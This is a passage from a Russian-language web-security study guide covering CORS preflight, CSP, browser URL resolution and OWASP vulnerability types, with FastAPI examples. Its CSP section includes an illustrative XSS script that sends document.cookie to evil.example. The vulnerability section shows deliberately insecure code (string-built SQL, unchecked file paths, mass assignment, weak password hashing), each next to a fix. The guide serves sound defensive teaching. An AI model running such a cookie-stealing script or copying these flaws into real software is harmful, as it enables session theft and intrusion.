Access-Control-Allow-Origin: https://frontend.example
Access-Control-Allow-Credentials: true

При credentialed-запросах нельзя разрешать origin через *; нужно указать конкретный origin.

Нужно также учитывать атрибуты cookie:

Set-Cookie: session_id=abc;
            Secure;
            HttpOnly;
            SameSite=None

CORS-разрешение само по себе не гарантирует отправку cookie: применяются и отдельные правила cookies.

Настройка в FastAPI #

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        "https://frontend.example",
        "http://localhost:3000",
    ],
    allow_credentials=True,
    allow_methods=[
        "GET",
        "POST",
        "PATCH",
        "DELETE",
    ],
    allow_headers=[
        "Authorization",
        "Content-Type",
    ],
)


@app.get("/profile")
async def get_profile() -> dict:
    return {
        "username": "alfob",
    }

CORSMiddleware обрабатывает preflight-запросы и добавляет нужные CORS-заголовки в обычные ответы. По умолчанию настройки middleware ограничительные, поэтому разрешённые origins, методы и заголовки задаются явно.

CORS не является авторизацией #

Нельзя использовать CORS вместо проверки токена и прав:

CORS:
может ли браузерный JavaScript прочитать ответ?

Аутентификация:
кто выполняет запрос?

Авторизация:
разрешена ли пользователю операция?

Даже при строгом CORS API всё равно могут вызвать:

curl
Postman
мобильное приложение
другой backend
скрипт

CORS в основном принудительно применяется браузером. Он не защищает публичный endpoint от прямых HTTP-запросов и не заменяет аутентификацию, авторизацию, CSRF-защиту и валидацию данных.

CORS и CSRF — не одно и то же #

CORS
→ ограничивает доступ JavaScript к cross-origin ответам

CSRF
→ защищает от выполнения нежелательного запроса
  с автоматически отправленными credentials

Некоторые cross-origin запросы могут быть отправлены без preflight. Поэтому нельзя считать, что отсутствие CORS-заголовков гарантированно предотвращает изменение данных.

Итог #

CORS
├── работает в браузере
├── применяется к cross-origin запросам
├── проверяет scheme + host + port
├── управляется response-заголовками backend
├── иногда использует предварительный OPTIONS
└── не заменяет авторизацию и CSRF-защиту

Типичная схема:

Frontend: https://frontend.example
Backend:  https://api.example

Backend разрешает:
Access-Control-Allow-Origin: https://frontend.example


35. Какой запрос выполняется при CORS? (OPTIONS) #

При CORS не всегда выполняется OPTIONS #

OPTIONS выполняется только для preflight-запроса — предварительной проверки перед некоторыми cross-origin запросами.

Общая последовательность:

Frontend
   │ OPTIONS — разрешён ли будущий запрос?
Backend
   │ CORS-заголовки с разрешениями
Браузер
   │ POST / PATCH / DELETE / другой реальный запрос
Backend

Браузер создаёт preflight автоматически. Frontend обычно не отправляет OPTIONS вручную.

Пример #

Frontend находится на:

http://localhost:3000

Backend:

http://localhost:8000

Frontend выполняет:

await fetch("http://localhost:8000/api/orders", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer token",
    },
    body: JSON.stringify({
        product_id: 42,
        quantity: 2,
    }),
});

Поскольку origin различаются, используется CORS. Кроме того, application/json и Authorization требуют предварительной проверки.

Сначала браузер отправляет:

OPTIONS /api/orders HTTP/1.1
Host: localhost:8000
Origin: http://localhost:3000
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization, content-type

Смысл запроса:

Можно ли origin http://localhost:3000
отправить POST /api/orders
с заголовками Authorization и Content-Type?

Затем backend должен ответить примерно так:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://localhost:3000
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Authorization, Content-Type

Вместо 200 сервер также часто возвращает:

HTTP/1.1 204 No Content

После успешного preflight браузер отправит уже настоящий запрос:

POST /api/orders HTTP/1.1
Host: localhost:8000
Origin: http://localhost:3000
Content-Type: application/json
Authorization: Bearer token

{
  "product_id": 42,
  "quantity": 2
}

Основные заголовки preflight #

Запрос браузера:

Origin: http://localhost:3000

Указывает origin frontend.

Access-Control-Request-Method: POST

Указывает метод будущего реального запроса.

Access-Control-Request-Headers: authorization, content-type

Указывает нестандартные или не входящие в безопасный список заголовки, которые frontend собирается отправить.

Ответ backend:

Access-Control-Allow-Origin: http://localhost:3000

Разрешает конкретный origin.

Access-Control-Allow-Methods: GET, POST, PATCH, DELETE

Разрешает методы.

Access-Control-Allow-Headers: Authorization, Content-Type

Разрешает заголовки.

Access-Control-Allow-Credentials: true

Разрешает credentialed CORS-запросы, например с cookies.

Access-Control-Max-Age: 600

Позволяет браузеру некоторое время кешировать результат preflight.

Когда выполняется OPTIONS #

Preflight обычно требуется, когда запрос не является CORS-safelisted, например:

DELETE /api/orders/42
PATCH /api/users/42
PUT /api/files/42

Также он обычно выполняется при использовании таких заголовков:

Authorization: Bearer ...

или такого типа тела:

Content-Type: application/json

Например, этот запрос вызывает preflight:

fetch("https://api.example.com/users/42", {
    method: "DELETE",
    headers: {
        Authorization: "Bearer token",
    },
});

Когда OPTIONS может не быть #

Некоторые cross-origin запросы браузер отправляет сразу. Их называют простыми или CORS-safelisted запросами.

Пример:

fetch("https://api.example.com/products");

Браузер может сразу отправить:

GET /products HTTP/1.1
Origin: https://frontend.example

Без предварительного OPTIONS.

Однако backend всё равно должен вернуть:

Access-Control-Allow-Origin: https://frontend.example

Иначе браузер не предоставит JavaScript доступ к ответу.

Для POST preflight может не потребоваться, когда используются только разрешённые простые заголовки и один из ограниченного набора типов содержимого, например:

Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data
Content-Type: text/plain

application/json в этот safelist не входит, поэтому JSON-запрос между разными origins обычно предваряется OPTIONS.

Что будет, если backend не разрешил запрос #

Например, сервер ответил:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://another-site.example

Но frontend имеет origin:

https://frontend.example

Тогда браузер не отправит основной POST, PATCH или DELETE после неуспешного preflight.

OPTIONS
CORS-проверка не пройдена
реальный запрос не отправляется
frontend получает CORS/network error

Важно: статус 200 у ответа на OPTIONS ещё не означает успешный CORS. Браузер проверяет именно значения Access-Control-Allow-*.

FastAPI #

Обычно отдельный endpoint для OPTIONS писать не нужно. Его обрабатывает CORSMiddleware:

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        "http://localhost:3000",
    ],
    allow_credentials=True,
    allow_methods=[
        "GET",
        "POST",
        "PATCH",
        "DELETE",
    ],
    allow_headers=[
        "Authorization",
        "Content-Type",
    ],
)

Middleware перехватывает CORS preflight-запросы OPTIONS и формирует ответ с соответствующими заголовками.

Итог #

CORS-запрос
├── простой
│   └── сразу выполняется GET/POST
└── требующий предварительной проверки
    ├── OPTIONS preflight
    ├── проверка CORS-заголовков
    └── настоящий POST/PUT/PATCH/DELETE

OPTIONS не является самим бизнес-запросом. Он спрашивает сервер, разрешает ли тот браузеру отправить последующий cross-origin запрос.


36. Что такое CSP (Content Security Policy)? #

Что такое CSP #

CSP расшифровывается как:

Content Security Policy

Это политика безопасности, которую сервер передаёт браузеру. Она указывает, откуда странице разрешено загружать и выполнять ресурсы:

JavaScript
CSS
изображения
шрифты
iframe
WebSocket и fetch-запросы
медиафайлы
Web Workers

Основное назначение CSP — уменьшить последствия внедрения вредоносного содержимого, прежде всего XSS. При этом CSP является дополнительным уровнем защиты, а не заменой валидации данных и безопасного экранирования вывода.

Как CSP передаётся #

Предпочтительный способ — HTTP-заголовок ответа:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Security-Policy: default-src 'self'

Заголовок передаётся от backend к браузеру:

Backend
   ↓ HTTP response с CSP
Браузер
Применяет ограничения при загрузке страницы

Политику также можно указать через <meta>, но этот вариант поддерживает не все директивы и начинает действовать только с места расположения элемента. Поэтому HTTP-заголовок является предпочтительным механизмом.

Простой пример #

Content-Security-Policy: default-src 'self'

'self' означает текущий origin страницы.

Для сайта:

https://example.com

будут разрешены ресурсы с того же origin:

https://example.com/app.js
https://example.com/style.css

А внешний скрипт может быть заблокирован:

<script src="https://evil.example/script.js"></script>

Схема:

Страница пытается загрузить ресурс
Браузер проверяет CSP
Источник разрешён → ресурс загружается
Источник запрещён → ресурс блокируется

Основные директивы #

default-src #

Правило по умолчанию для типов ресурсов, для которых не указана более конкретная директива:

Content-Security-Policy: default-src 'self'

script-src #

Ограничивает источники JavaScript:

Content-Security-Policy: script-src 'self' https://scripts.example

Разрешено:

<script src="/app.js"></script>
<script src="https://scripts.example/library.js"></script>

Запрещено:

<script src="https://unknown.example/library.js"></script>

style-src #

Управляет CSS:

Content-Security-Policy: style-src 'self' https://styles.example

img-src #

Управляет изображениями:

Content-Security-Policy: img-src 'self' data: https://images.example

connect-src #

Ограничивает адреса, к которым JavaScript может подключаться через:

fetch
XMLHttpRequest
WebSocket
EventSource

Пример:

Content-Security-Policy: connect-src 'self' https://api.example

Это разрешает:

fetch("https://api.example/users");

и блокирует подключение к неизвестному домену.

font-src #

Content-Security-Policy: font-src 'self' https://fonts.example

object-src #

Ограничивает <object> и похожие встраиваемые ресурсы:

Content-Security-Policy: object-src 'none'

В современных политиках их обычно полностью запрещают.

frame-src #

Определяет, какие страницы можно встроить в текущую страницу через iframe:

Content-Security-Policy: frame-src 'self' https://video.example

frame-ancestors #

Определяет, какие сайты имеют право встроить вашу страницу в iframe:

Content-Security-Policy: frame-ancestors 'none'

Это запрещает встраивание страницы и помогает защищаться от clickjacking.

Разрешить встраивание только собственным origin:

Content-Security-Policy: frame-ancestors 'self'

base-uri #

Ограничивает значение HTML-элемента <base>:

Content-Security-Policy: base-uri 'self'

Это мешает внедрённому <base> изменить адреса, по которым браузер загружает относительные ресурсы.

Пример практической политики #

Content-Security-Policy:
    default-src 'self';
    script-src 'self';
    style-src 'self';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self' https://api.example.com;
    object-src 'none';
    base-uri 'self';
    frame-ancestors 'none';

В одну строку:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Как CSP помогает при XSS #

Предположим, атакующему удалось внедрить:

<script>
    fetch("https://evil.example/steal?data=" + document.cookie);
</script>

При строгой политике:

Content-Security-Policy:
    script-src 'self';
    connect-src 'self'

браузер может заблокировать:

  1. выполнение внедрённого inline-скрипта;

  2. подключение к evil.example.

XSS-код оказался в HTML
CSP запрещает выполнение
атака ограничивается браузером

Но если сервер сам разрешил небезопасные источники или использует слишком широкую политику, защита будет слабой.

Inline-скрипты #

Такая политика:

Content-Security-Policy: script-src 'self'

обычно блокирует inline-код:

<script>
    console.log("Hello");
</script>

а также обработчики:

<button onclick="deleteUser()">Удалить</button>

Чтобы разрешить конкретный inline-скрипт, применяют nonce.

Nonce #

Backend создаёт случайное одноразовое значение для каждого ответа:

Content-Security-Policy: script-src 'self' 'nonce-4kH7x9...'

И добавляет его разрешённому скрипту:

<script nonce="4kH7x9...">
    initializeApplication();
</script>

Браузер сравнивает nonce:

nonce в CSP
    ==
nonce у <script>
скрипт разрешён

Другой inline-скрипт без правильного nonce будет заблокирован.

Nonce должен быть непредсказуемым, уникальным для каждой передаваемой политики и генерироваться криптографически стойким генератором; спецификация рекомендует не менее 128 бит до кодирования.

Пример на FastAPI:

import base64
import secrets

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()


@app.get("/", response_class=HTMLResponse)
async def index(request: Request) -> HTMLResponse:
    nonce = base64.b64encode(
        secrets.token_bytes(16),
    ).decode()

    html = f"""
    <!doctype html>
    <html>
        <body>
            <script nonce="{nonce}">
                console.log("Allowed script");
            </script>
        </body>
    </html>
    """

    return HTMLResponse(
        content=html,
        headers={
            "Content-Security-Policy": (
                "default-src 'self'; "
                f"script-src 'self' 'nonce-{nonce}'; "
                "object-src 'none'; "
                "base-uri 'self'; "
                "frame-ancestors 'none'"
            ),
        },
    )

Hash вместо nonce #

Также можно разрешить конкретный inline-скрипт по его хешу:

<script>
    initializeApplication();
</script>

Политика условно выглядит так:

Content-Security-Policy: script-src 'self' 'sha256-<base64-хеш>'

Браузер вычисляет хеш содержимого скрипта и разрешает его только при совпадении.

Различие:

nonce
→ генерируется заново для каждого ответа
→ удобен для динамического HTML

hash
→ зависит от точного содержимого скрипта
→ удобен для неизменяемого inline-кода

Даже изменение пробела в скрипте может изменить хеш.

Почему нежелателен 'unsafe-inline' #

Можно написать:

Content-Security-Policy: script-src 'self' 'unsafe-inline'

Но это разрешит inline-скрипты в целом и существенно ослабит защиту от XSS:

<script>maliciousCode()</script>

Для постепенного внедрения старого приложения лучше использовать nonce или hash, а не постоянно оставлять 'unsafe-inline'. Спецификация отдельно отмечает, что nonce обеспечивает существенное улучшение по сравнению с 'unsafe-inline'.

Режим Report-Only #

Перед включением строгой CSP её можно сначала запустить без блокировки:

Content-Security-Policy-Report-Only:
    default-src 'self';
    script-src 'self';
    report-to csp-endpoint

В этом режиме браузер:

не блокирует нарушение
+ фиксирует нарушение
+ может отправить отчёт

Это позволяет увидеть, какие реальные скрипты, стили или подключения сломаются после включения политики.

После проверки заголовок меняют на:

Content-Security-Policy: ...

Content-Security-Policy-Report-Only предназначен именно для мониторинга политики перед её принудительным применением. Он не поддерживается через <meta>.

CSP и CORS — разные механизмы #

CORS
→ сервер сообщает браузеру,
  каким чужим origin разрешено читать его ответы

CSP
→ страница сообщает браузеру,
  откуда ей разрешено загружать и выполнять ресурсы

Пример:

Access-Control-Allow-Origin: https://frontend.example

означает:

frontend.example может прочитать этот ответ

А:

Content-Security-Policy: connect-src https://api.example

означает:

эта страница может подключаться к api.example

Для успешного cross-origin fetch() могут одновременно потребоваться:

CSP страницы разрешает connect-src
+
CORS backend разрешает origin frontend

CSP не заменяет остальные меры #

CSP не отменяет необходимость:

экранировать пользовательский HTML
использовать безопасные шаблонизаторы
валидировать данные
не использовать eval()
защищаться от SQL injection
проверять авторизацию
обновлять зависимости

Правильная модель:

Безопасная обработка данных
        +
Контекстное экранирование
        +
CSP как дополнительный слой

Итог #

CSP
├── передаётся сервером в HTTP-ответе
├── применяется браузером
├── ограничивает источники ресурсов
├── блокирует запрещённые скрипты и подключения
├── снижает последствия XSS
├── может защищать от clickjacking
├── поддерживает nonce и hash
└── имеет режим Report-Only

Минимальная разумная основа:

Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

После этого политика дополняется конкретными правилами script-src, style-src, img-src, connect-src и другими директивами под реальные потребности приложения.


37. Как браузер понимает, на какой URL нужно отправить HTTP-запрос? #

Браузер получает URL из действия или кода страницы #

Браузер не угадывает адрес запроса. URL берётся из конкретного источника:

адресная строка
HTML-атрибут
JavaScript
форма
redirect сервера
текущий адрес документа

После этого браузер преобразует относительный адрес в абсолютный URL и начинает загрузку.

1. Адресная строка #

Пользователь вводит:

https://example.com/products?page=2

Браузер уже имеет полный URL:

scheme → https
host   → example.com
path   → /products
query  → page=2

Он отправит запрос к ресурсу:

GET /products?page=2 HTTP/1.1
Host: example.com

2. Ссылка <a> #

<a href="/profile">Профиль</a>

URL берётся из href.

Поскольку /profile — относительный адрес относительно origin, на странице:

https://example.com/catalog

он преобразуется в:

https://example.com/profile

После клика браузер обычно выполняет:

GET /profile

3. HTML-форма #

<form action="/login" method="post">
    <input name="username">
    <button type="submit">Войти</button>
</form>

Здесь:

action → URL
method → HTTP-метод

Браузер отправит:

POST /login HTTP/1.1

Если action отсутствует, форма обычно отправляется на URL текущего документа. Поведение форм и вычисление адреса назначения определяет HTML Standard.

4. JavaScript #

Адрес может быть явно указан в коде:

fetch("/api/users/42");

Браузер преобразует относительный URL в абсолютный:

текущая страница:
https://example.com/profile

fetch:
"/api/users/42"

результат:
https://example.com/api/users/42

Запрос:

GET /api/users/42

Можно указать полный URL:

fetch("https://api.example.com/users/42");

Тогда запрос отправляется на другой origin:

https://api.example.com

API fetch() создаёт объект запроса с URL, после чего браузер выполняет алгоритм загрузки ресурса.

5. Адреса ресурсов в HTML #

При разборе HTML браузер находит URL в разных атрибутах:

<script src="/static/app.js"></script>

<link rel="stylesheet" href="/static/app.css">

<img src="/images/avatar.png">

<iframe src="https://video.example/player"></iframe>

Из них создаются отдельные запросы:

GET /static/app.js
GET /static/app.css
GET /images/avatar.png
GET https://video.example/player

Поэтому получение одной HTML-страницы обычно запускает множество дополнительных HTTP-запросов.

6. Относительные URL #

Главное правило:

относительный URL
+
base URL
=
абсолютный URL

Допустим, текущая страница:

https://example.com/catalog/books/page.html

Тогда:

/users
→ https://example.com/users
images/book.png
→ https://example.com/catalog/books/images/book.png
../images/book.png
→ https://example.com/catalog/images/book.png
?page=2
→ https://example.com/catalog/books/page.html?page=2

URL Standard определяет алгоритм разрешения относительного URL относительно базового адреса.

7. Элемент <base> #

Страница может изменить базовый URL для относительных ссылок:

<head>
    <base href="https://cdn.example.com/assets/">
</head>

<body>
    <img src="images/logo.png">
</body>

Результирующий URL:

https://cdn.example.com/assets/images/logo.png

Без <base> адрес обычно вычислялся бы относительно URL текущего документа.

8. Redirect от сервера #

Первый запрос:

GET /old-page

Сервер отвечает:

HTTP/1.1 302 Found
Location: /new-page

Браузер берёт новый URL из заголовка Location и выполняет новый запрос:

GET /new-page

То есть сервер может сообщить браузеру следующий адрес через redirect.

9. Изменение window.location #

JavaScript может инициировать навигацию:

window.location.href = "/dashboard";

или:

window.location.assign("/dashboard");

Браузер вычислит абсолютный URL и загрузит новый документ:

GET /dashboard

10. SPA-router #

В SPA клик может сначала обрабатываться JavaScript:

router.push("/users/42");

При этом возможны два варианта:

1. Меняется только URL и frontend-компонент
   → HTTP-запроса может не быть

2. Компонент запрашивает данные
   → fetch("/api/users/42")

Поэтому адрес в строке браузера и URL API-запроса могут отличаться:

страница:
https://example.com/users/42

API:
https://api.example.com/v1/users/42

Что делает DNS #

DNS не определяет URL запроса.

Сначала браузер уже знает:

https://api.example.com/users/42

Затем он извлекает host:

api.example.com

и через DNS получает IP-адрес:

api.example.com → 203.0.113.15

То есть:

HTML / JavaScript / адресная строка
→ определяют URL

DNS
→ определяет IP-адрес хоста из URL

Что реально передаётся серверу #

Для URL:

https://example.com:443/products/42?full=true#reviews

сервер получает:

host  → example.com
port  → 443
path  → /products/42
query → full=true

Fragment:

#reviews

серверу не отправляется. Он используется браузером на стороне клиента.

Итоговая схема #

Пользователь или JavaScript инициирует действие
Браузер получает URL из:
href / src / action / fetch / location / адресной строки
Разрешает относительный URL относительно base URL
Получает абсолютный URL
Извлекает scheme, host, port, path и query
DNS преобразует host в IP
Браузер устанавливает соединение
Отправляет HTTP-запрос

Главное: место назначения задаётся HTML, JavaScript, пользователем или redirect-ответом сервера; DNS только находит IP-адрес для уже выбранного домена.


38. Какие типовые уязвимости бывают в веб-приложениях? #

Основные типы уязвимостей #

Актуальный OWASP Top 10:2025 выделяет десять основных категорий рисков веб-приложений: нарушение контроля доступа, неправильную конфигурацию, проблемы цепочки поставок, криптографические ошибки, инъекции, небезопасное проектирование, ошибки аутентификации, нарушения целостности, недостаточное журналирование и неправильную обработку исключительных ситуаций. Для API OWASP отдельно выделяет BOLA, массовое присваивание полей, отсутствие ограничений ресурсов, SSRF и другие характерные проблемы.

1. Broken Access Control #

Пользователь получает доступ к данным или операциям, которые ему не разрешены.

Пример:

GET /api/files/42
Authorization: Bearer <user-token>

Backend получает файл только по id:

file = await File.get(id=file_id)

Но не проверяет владельца. Пользователь меняет 42 на 43 и получает чужой файл.

Такую проблему называют:

IDOR — Insecure Direct Object Reference
BOLA — Broken Object Level Authorization

Другие варианты:

  • обычный пользователь вызывает административный endpoint;

  • доступ контролируется только скрытой кнопкой на frontend;

  • можно изменить чужой заказ;

  • JWT или cookie принимаются без полной проверки;

  • сервер доверяет user_id, переданному клиентом.

Защита:

file = await File.get(
    id=file_id,
    owner_id=current_user.id,
)

Права должны проверяться на backend для каждого объекта и действия, а политика по умолчанию должна быть deny by default. OWASP в 2025 году ставит Broken Access Control на первое место; API Security Top 10 также отдельно выделяет объектную и функциональную авторизацию.

2. SQL Injection и другие инъекции #

Инъекция возникает, когда пользовательские данные смешиваются с командой для интерпретатора.

Опасно:

query = f"""
    SELECT *
    FROM users
    WHERE username = '{username}'
"""

Входные данные становятся частью структуры SQL-запроса.

Правильно:

query = select(User).where(
    User.username == username,
)

Или параметризованный SQL:

cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,),
)

Кроме SQL Injection существуют:

NoSQL Injection
OS Command Injection
LDAP Injection
Template Injection
ORM Injection
XML/XPath Injection

Основной принцип защиты:

данные должны оставаться данными,
а не становиться частью команды

Для этого используются параметризованные запросы, безопасные API, ORM без небезопасного raw SQL и строгая проверка входных данных.

3. Cross-Site Scripting — XSS #

Приложение вставляет пользовательские данные в HTML или JavaScript без контекстного экранирования.

Например, пользователь сохраняет комментарий:

<script>
    maliciousCode();
</script>

А сервер возвращает его как настоящий HTML.

Разновидности:

Stored XSS
→ вредоносные данные сохраняются на сервере

Reflected XSS
→ данные сразу отражаются в ответе

DOM-based XSS
→ уязвимость возникает в frontend-коде

Последствия:

  • выполнение JavaScript в контексте сайта;

  • чтение доступных странице данных;

  • выполнение запросов от имени пользователя;

  • подмена интерфейса;

  • кража токенов, доступных JavaScript.

Защита:

  • контекстное экранирование HTML, атрибутов, URL и JavaScript;

  • безопасные шаблонизаторы;

  • отказ от innerHTML для недоверенных данных;

  • санитаризация HTML, когда HTML действительно разрешён;

  • HttpOnly для session cookies;

  • строгая CSP как дополнительный слой.

CSP уменьшает последствия XSS, но не заменяет безопасную обработку вывода.

4. CSRF #

Cross-Site Request Forgery заставляет браузер авторизованного пользователя выполнить нежелательный запрос.

Например, пользователь авторизован через cookie:

Cookie: session_id=abc123

Злоумышленник размещает на другом сайте форму, отправляющую запрос в уязвимое приложение. Браузер может автоматически приложить session cookie.

Вредоносный сайт
браузер пользователя
       ↓ автоматически добавляет cookie
POST /account/change-email

CSRF особенно важен при cookie-based аутентификации.

Защита:

CSRF token
SameSite cookies
проверка Origin/Referer
Fetch Metadata headers
повторная аутентификация для критических операций
не использовать GET для изменения состояния

CORS сам по себе не является полноценной CSRF-защитой. OWASP рекомендует использовать встроенную защиту фреймворка или проверяемые backend CSRF-токены для изменяющих состояние запросов.

5. Ошибки аутентификации и управления сессиями #

Приложение неправильно определяет пользователя или управляет его сессией.

Примеры:

  • слабые или стандартные пароли;

  • отсутствие защиты от brute force;

  • credential stuffing;

  • небезопасное восстановление пароля;

  • отсутствие MFA для критических аккаунтов;

  • session ID не меняется после входа;

  • токен не отзывается при выходе;

  • access token живёт слишком долго;

  • JWT проверяется без exp, iss или aud;

  • session ID передаётся в URL;

  • пароль хранится в открытом виде или слабым хешем.

Защита:

Argon2id или подходящий password hashing
MFA
rate limiting
короткоживущие access tokens
безопасная ротация refresh tokens
Secure + HttpOnly + SameSite cookies
инвалидация сессий
защищённое восстановление аккаунта

OWASP относит неправильную проверку credentials, session fixation, слабое хранение паролей и некорректную инвалидацию сессий к Authentication Failures.

6. Cryptographic Failures #

Ошибки защиты чувствительных данных:

  • использование HTTP вместо HTTPS;

  • хранение паролей без password hashing;

  • применение MD5 или SHA-1 для паролей;

  • секретные ключи в репозитории;

  • предсказуемые токены;

  • повторное использование nonce или IV;

  • отсутствие ротации ключей;

  • отключённая проверка TLS-сертификата;

  • чувствительные данные хранятся незашифрованными.

Например, пароль нельзя хранить так:

password_hash = hashlib.sha256(password.encode()).hexdigest()

Нужен алгоритм, предназначенный для паролей:

Argon2id
scrypt
bcrypt
PBKDF2 — при корректных параметрах

OWASP относит к этой категории отсутствие шифрования, слабые алгоритмы, утечки ключей, недостаточную энтропию и неправильное управление ключами.

7. Security Misconfiguration #

Уязвимость появляется не из-за бизнес-кода, а из-за небезопасных настроек.

Примеры:

DEBUG=True в production
открытая административная панель
стандартные пароли
публичный S3 bucket
разрешение CORS для недоверенных origins
directory listing
лишние открытые порты
доступный .git
stack trace в ответе
отсутствующие security headers
слишком широкие права контейнера или БД

Например, пользователю нельзя возвращать:

psycopg.errors.UndefinedTable
File "/app/repositories/users.py", line 42
DATABASE_URL=postgresql://...

Клиент должен получить нейтральную ошибку:

{
  "type": "/problems/internal-error",
  "title": "Internal server error",
  "status": 500
}

А полная информация должна попасть в защищённые логи.

8. SSRF #

Server-Side Request Forgery возникает, когда backend по пользовательскому URL сам выполняет запрос.

Например:

POST /api/load-image

{
  "url": "https://example.com/image.png"
}

Backend делает:

response = await client.get(data.url)

Атакующий может попытаться заставить сервер обратиться:

  • к внутреннему сервису;

  • к localhost;

  • к cloud metadata endpoint;

  • к административному API;

  • к адресу, недоступному из внешней сети.

Защита:

allowlist разрешённых доменов
запрет private, loopback и link-local адресов
повторная проверка после DNS resolution и redirect
ограничение протоколов
сетевой egress firewall
таймауты и лимиты размера ответа

OWASP API Security определяет SSRF как возможность заставить API отправить запрос к неожиданному адресу через пользовательский URI. В OWASP Top 10:2025 SSRF включён в Broken Access Control.

9. Path Traversal #

Пользователь управляет путём к файлу:

GET /files?name=report.pdf

Опасный код:

path = Path("/uploads") / filename
return FileResponse(path)

Без проверки filename клиент может попытаться выйти за пределы каталога загрузок.

Защита:

base = Path("/uploads").resolve()
target = (base / filename).resolve()

if not target.is_relative_to(base):
    raise ForbiddenError()

Ещё лучше — не принимать физический путь от клиента, а использовать идентификатор:

GET /files/42

и получать реальный путь из базы данных. Path Traversal включён OWASP в категорию нарушения контроля доступа.

10. Небезопасная загрузка файлов #

Проблемы возникают, когда сервер доверяет:

имени файла
расширению
Content-Type
содержимому

Например, файл называется:

avatar.png

но фактически содержит другой тип данных.

Риски:

  • выполнение загруженного кода;

  • XSS через SVG или HTML;

  • перезапись существующего файла;

  • path traversal в имени;

  • заполнение диска;

  • вредоносные документы;

  • доступ других пользователей к файлу.

Защита:

allowlist форматов
проверка фактического содержимого
лимит размера
генерация серверного имени
хранение вне web root
запрет выполнения файлов
антивирусная проверка при необходимости
проверка владельца при скачивании

11. Mass Assignment #

Backend автоматически копирует все входящие поля в модель:

user.update_from_dict(request.json())

Клиент передаёт:

{
  "username": "alfob",
  "is_admin": true,
  "balance": 1000000
}

Если backend не ограничивает набор полей, пользователь изменит внутренние свойства.

Правильно использовать отдельную входную модель:

class UserUpdate(BaseModel):
    model_config = ConfigDict(extra="forbid")

    username: str | None = None
    avatar_url: str | None = None

OWASP API Security объединяет mass assignment и excessive data exposure в категорию Broken Object Property Level Authorization.

12. Утечка лишних данных #

Backend возвращает объект базы целиком:

{
  "id": 42,
  "username": "alfob",
  "password_hash": "...",
  "refresh_token_hash": "...",
  "internal_status": "reviewed"
}

Даже когда frontend не отображает поля, они уже переданы клиенту.

Правильно использовать response schema:

class UserResponse(BaseModel):
    id: int
    username: str
    avatar_url: str | None

Правило:

не возвращать данные,
которые клиенту не нужны и не разрешены

13. Unrestricted Resource Consumption #

Endpoint не ограничивает ресурсы:

GET /users?limit=10000000

Или позволяет:

  • загружать файлы любого размера;

  • отправлять неограниченное число запросов;

  • создавать огромные batch-операции;

  • запускать дорогие отчёты;

  • отправлять бесконечное количество SMS или писем;

  • открывать слишком много WebSocket-соединений.

Последствия:

DoS
переполнение памяти
заполнение диска
высокие расходы на сторонние API
исчерпание connection pool

Защита:

rate limiting
таймауты
лимит body и файлов
ограничение batch size
пагинация
квоты пользователя
ограничение параллельных операций

OWASP API Security отдельно выделяет Unrestricted Resource Consumption и злоупотребление чувствительными бизнес-процессами.

14. Уязвимости бизнес-логики #

Запрос технически корректен, но приложение позволяет выполнить нежелательную последовательность действий.

Примеры:

  • применить один промокод несколько раз;

  • заказать товар с отрицательным количеством;

  • отменить уже выплаченный заказ;

  • самостоятельно подтвердить собственную операцию;

  • купить больше билетов, чем разрешено;

  • повторно выполнить платёж;

  • изменить цену через request body;

  • пропустить обязательный этап процесса.

Такие проблемы часто не обнаруживаются обычной проверкой типов:

{
  "quantity": 1,
  "price": 1
}

Оба числа валидны, но цену должен определять backend, а не клиент.

Защита требует threat modeling, проверки переходов состояния и явного определения недопустимых сценариев. OWASP относит отсутствие необходимых контролей и ошибки бизнес-логики к Insecure Design.

15. Race Condition #

Два запроса одновременно читают старое состояние:

Запрос A: остаток = 1
Запрос B: остаток = 1

A создаёт заказ
B создаёт заказ

В результате продаются две единицы при остатке в одну.

Защита:

транзакции
row-level locks
атомарные UPDATE
UNIQUE и CHECK constraints
optimistic locking
idempotency keys

Например:

UPDATE products
SET stock = stock - 1
WHERE id = :id
  AND stock >= 1;

После выполнения нужно проверить количество изменённых строк.

16. Небезопасная десериализация и нарушение целостности #

Приложение принимает сериализованный объект и доверяет его содержимому:

cookie
queue message
pickle object
signed state
software update
CI/CD artifact

Особенно опасно десериализовать недоверенные данные форматами, способными создавать произвольные объекты или запускать код.

Защита:

  • не использовать небезопасную десериализацию для внешних данных;

  • применять простые форматы вроде JSON;

  • проверять схему;

  • проверять цифровые подписи артефактов;

  • использовать доверенные репозитории;

  • защищать CI/CD;

  • проверять целостность обновлений.

OWASP относит небезопасную десериализацию, неподтверждённые обновления и доверие к неподписанным данным к Software or Data Integrity Failures.

17. Уязвимые зависимости и цепочка поставок #

Приложение может быть уязвимо даже при безопасном собственном коде, если используются:

устаревшие библиотеки
неподдерживаемый runtime
вредоносный пакет
скомпрометированный Docker image
небезопасный CI/CD pipeline
подменённый frontend-скрипт

Защита:

фиксировать версии зависимостей
проверять прямые и транзитивные зависимости
использовать lock-файлы
сканировать зависимости и образы
вести SBOM
ограничивать права CI/CD
проверять подписи артефактов
обновлять компоненты

OWASP Top 10:2025 расширил прежнюю категорию уязвимых компонентов до Software Supply Chain Failures, включая зависимости, системы сборки и инфраструктуру распространения.

18. Open Redirect #

Приложение принимает адрес перенаправления:

GET /login?next=https://other.example

и без проверки возвращает:

HTTP/1.1 302 Found
Location: https://other.example

Это позволяет использовать доверенный домен приложения для фишинга.

Защита:

принимать относительные пути
использовать allowlist origins
